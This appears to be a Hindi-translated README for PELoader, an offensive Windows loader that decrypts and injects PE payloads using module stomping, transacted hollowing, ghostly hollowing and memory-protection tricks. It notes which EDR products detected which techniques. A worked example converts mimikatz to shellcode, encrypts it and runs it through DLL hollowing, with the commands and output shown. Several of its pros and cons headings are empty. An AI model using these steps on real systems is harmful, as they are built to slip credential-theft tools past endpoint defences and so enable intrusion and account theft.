
PE loader विभिन्न shellcode इंजेक्शन तकनीकों के साथ
PELoader विभिन्न शेलकोड इंजेक्शन तकनीकों को लागू करता है, और एन्क्रिप्टेड PE फ़ाइलों को रिमोट थ्रेड में शेलकोड इंजेक्ट करने के बजाय लोड करने के लिए libpeconv लाइब्रेरी का उपयोग करता है।
निम्नलिखित तकनीकों को लागू किया गया:
श्रेय: मेरा अधिकांश कार्य @hasherezade के PoC स्क्रिप्ट पर आधारित था।
PELoader का परीक्षण Windows 10 पर Cortex XDR / SentinelOne / Windows Defender / CrowdStrike के साथ किया गया, और Windows Defender / CrowdStrike ने Transacted Hollowing तकनीकों का पता लगाया। प्रत्येक तकनीक की विशेषताओं का परीक्षण @forrest-orr के मेमोरी स्कैनर टूल Moneta के साथ किया गया।
मॉड्यूल स्टॉम्पिंग (LoadLibrary)
एक वैध DLL लोड करने के लिए LoadLibrary को कॉल करें। DLL को पेलोड से ओवरराइट करें
लाभ

मॉड्यूल स्टॉम्पिंग (NtMapViewOfSection)
एक वैध DLL के लिए फ़ाइल मैपिंग ऑब्जेक्ट (PAGE_READONLY) बनाने के लिए NtCreateSection को कॉल करें, और इसे वर्तमान प्रक्रिया में मैप करने के लिए NtMapViewOfSection को कॉल करें। DLL को पेलोड से ओवरराइट करें।
लाभ
नुकसान

@hasherezade के PoC का संदर्भ।
ट्रांज़ैक्टेड होलोइंग
प्रोसेस होलोइंग और प्रोसेस डॉपेलगैंगिंग के बीच एक संकर। NTFS लेन-देन के भीतर "अदृश्य" फ़ाइल बनाएं और उसमें पेलोड लिखें। वर्तमान प्रक्रिया में सेक्शन मैप करें और इसे निष्पादित करें।
लाभ
नुकसान

घोस्टली होलोइंग
प्रोसेस होलोइंग और प्रोसेस घोस्टिंग के बीच एक संकर। डिलीट पेंडिंग स्थिति वाली फ़ाइल बनाएं और उसमें पेलोड लिखें। वर्तमान प्रक्रिया में सेक्शन मैप करें और इसे निष्पादित करें।
लाभ
नुकसान
@hasherezade के PoC का संदर्भ।
NtMapViewOfSection (RWX-RW-RX)
मेमोरी सेक्शन (RWX) बनाने के लिए NtCreateSection को कॉल करें। वर्तमान प्रक्रिया में एक दृश्य मैप करने के लिए NtMapViewOfSection को कॉल करें (RWX)। सुरक्षा को RW में बदलने के लिए VirtualProtect को कॉल करें। शेलकोड को मैप किए गए सेक्शन में कॉपी करें। सुरक्षा को RX में बदलें और इसे निष्पादित करें।
लाभ
नुकसान

NtAllocateVirtualMemory (RW-RX)
मेमोरी आवंटित करने के लिए NtAllocateVirtualMemory को कॉल करें (RW)। शेलकोड को मेमोरी में कॉपी करें। सुरक्षा को RX में बदलें और इसे निष्पादित करें।
लाभ
नुकसान

AES एन्क्रिप्ट पेलोड
PE फ़ाइल को pe_to_shellcode के साथ शेलकोड में बदलें और PELoader के साथ एन्क्रिप्ट करें
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
PE निष्पादन
तर्क को पर्यावरण चर "hagrid" पर सेट करें और PELoader निष्पादित करें
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #